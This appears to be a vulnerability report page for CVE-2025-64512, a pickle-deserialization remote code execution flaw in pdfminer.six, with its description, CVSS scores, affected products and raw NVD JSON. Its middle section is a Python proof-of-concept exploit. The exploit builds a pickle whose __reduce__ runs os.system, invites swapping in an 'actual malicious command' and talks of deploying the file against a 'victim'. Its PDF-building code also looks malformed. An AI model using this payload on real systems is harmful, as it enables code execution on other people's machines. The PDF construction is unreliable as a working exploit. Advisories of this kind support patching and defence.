Security Vulnerability Report
中文
CVE-2025-64512 CVSS 8.6 HIGH

CVE-2025-64512

Published: 2025-11-10 22:15:40
Last Modified: 2026-01-08 22:16:02

Description

Pdfminer.six is a community maintained fork of the original PDFMiner, a tool for extracting information from PDF documents. Prior to version 20251107, pdfminer.six will execute arbitrary code from a malicious pickle file if provided with a malicious PDF file. The `CMapDB._load_data()` function in pdfminer.six uses `pickle.loads()` to deserialize pickle files. These pickle files are supposed to be part of the pdfminer.six distribution stored in the `cmap/` directory, but a malicious PDF can specify an alternative directory and filename as long as the filename ends in `.pickle.gz`. A malicious, zipped pickle file can then contain code which will automatically execute when the PDF is processed. Version 20251107 fixes the issue.

CVSS Details

CVSS Score
8.6
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:pdfminer:pdfminer.six:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:debian:debian_linux:11.0:*:*:*:*:*:*:* - VULNERABLE
pdfminer.six < 20251107

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-64512 PoC - Malicious PDF generation for pdfminer.six RCE Note: This is for educational and security research purposes only. """ import pickle import gzip import os class MaliciousPayload: """Malicious class that executes arbitrary code on unpickling""" def __reduce__(self): # Replace with actual malicious command cmd = "touch /tmp/pwned_by_cve_2025_64512" return (os.system, (cmd,)) def create_malicious_pickle_gz(): """Generate malicious pickle.gz file""" payload = MaliciousPayload() pickled_data = pickle.dumps(payload) with gzip.open('malicious_cmap.pickle.gz', 'wb') as f: f.write(pickled_data) print("[+] Created malicious_cmap.pickle.gz") def create_malicious_pdf(): """Generate malicious PDF that triggers the vulnerability""" # PDF header pdf_content = b"%PDF-1.4\n" # Malicious CMap reference pointing to external pickle.gz # The attacker controls the path, bypassing cmap/ directory restriction malicious_cmap_path = "../../../../tmp/malicious_cmap.pickle.gz" # Object with ToUnicode CMap reference obj_num = 1 pdf_content += f"{obj_num} 0 obj\n<< /Type /Font /Subtype /Type1 /BaseFont /TestFont /ToUnicode {obj_num + 1} 0 R >>\nendobj\n".encode() obj_num += 1 pdf_content += f"{obj_num} 0 obj\n<< /Type /ObjStm /N 1 /First 0 /Length 50 >>\nstream\n".encode() pdf_content += f"/CMap {malicious_cmap_path} def\n".encode() pdf_content += b"\nendstream\nendobj\n" # Cross-reference table xref_offset = len(pdf_content) pdf_content += f"xref\n0 2\n0000000000 65535 f \n00000000{obj_num} 00000 n \n".encode() # Trailer pdf_content += f"trailer\n<< /Size 2 /Root 1 0 R >>\nstartxref\n{xref_offset}\n%%EOF\n".encode() with open('malicious.pdf', 'wb') as f: f.write(pdf_content) print("[+] Created malicious.pdf") if __name__ == "__main__": print("[*] Generating CVE-2025-64512 PoC files...") create_malicious_pickle_gz() create_malicious_pdf() print("[+] PoC files generated. Deploy malicious_cmap.pickle.gz to target location.") print("[+] When victim processes malicious.pdf with vulnerable pdfminer.six, code executes.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-64512", "sourceIdentifier": "[email protected]", "published": "2025-11-10T22:15:40.067", "lastModified": "2026-01-08T22:16:02.240", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Pdfminer.six is a community maintained fork of the original PDFMiner, a tool for extracting information from PDF documents. Prior to version 20251107, pdfminer.six will execute arbitrary code from a malicious pickle file if provided with a malicious PDF file. The `CMapDB._load_data()` function in pdfminer.six uses `pickle.loads()` to deserialize pickle files. These pickle files are supposed to be part of the pdfminer.six distribution stored in the `cmap/` directory, but a malicious PDF can specify an alternative directory and filename as long as the filename ends in `.pickle.gz`. A malicious, zipped pickle file can then contain code which will automatically execute when the PDF is processed. Version 20251107 fixes the issue."}, {"lang": "es", "value": "Pdfminer.six es una bifurcación mantenida por la comunidad del PDFMiner original, una herramienta para extraer información de documentos PDF. Antes de la versión 20251107, pdfminer.six ejecutará código arbitrario de un archivo pickle malicioso si se le proporciona un archivo PDF malicioso. La función 'CMapDB._load_data()' en pdfminer.six utiliza 'pickle.loads()' para deserializar archivos pickle. Se supone que estos archivos pickle forman parte de la distribución de pdfminer.six almacenada en el directorio 'cmap/', pero un PDF malicioso puede especificar un directorio y nombre de archivo alternativos siempre que el nombre de archivo termine en '.pickle.gz'. Un archivo pickle malicioso y comprimido puede entonces contener código que se ejecutará automáticamente cuando se procese el PDF. La versión 20251107 corrige el problema."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H", "baseScore": 8.6, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 6.0}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-502"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:pdfminer:pdfminer.six:*:*:*:*:*:*:*:*", "versionEndExcluding": "2025-11-07", "matchCriteriaId": "65CBF05A-13FD-4266-836F-004480539B0C"}]}]}, {"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:debian:debian_linux:11.0:*:*:*:*:*:*:*", "matchCriteriaId": "FA6FEEC2-9F11-4643-8827-749718254FED"}]}]}], "references": [{"url": "https://github.com/pdfminer/pdfminer.six/commit/b808ee05dd7f0c8ea8ec34bdf394d40e63501086", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/pdfminer/pdfminer.six/releases/tag/20251107", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/pdfminer/pdfminer.six/security/advisories/GHSA-wf5f-4jwr-ppcp", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://lists.debian.org/debian-lts-announce/2025/11/msg00017.html", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Mailing List"]}, {"url": "https://lists.debian.org/debian-lts-announce/2026/01/msg00005.html", "source": "af854a3a-2127-422b-91ae-364da2661108"}, {"url": "https://github.com/pdfminer/pdfminer.six/security/advisories/GHSA-wf5f-4jwr-ppcp", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}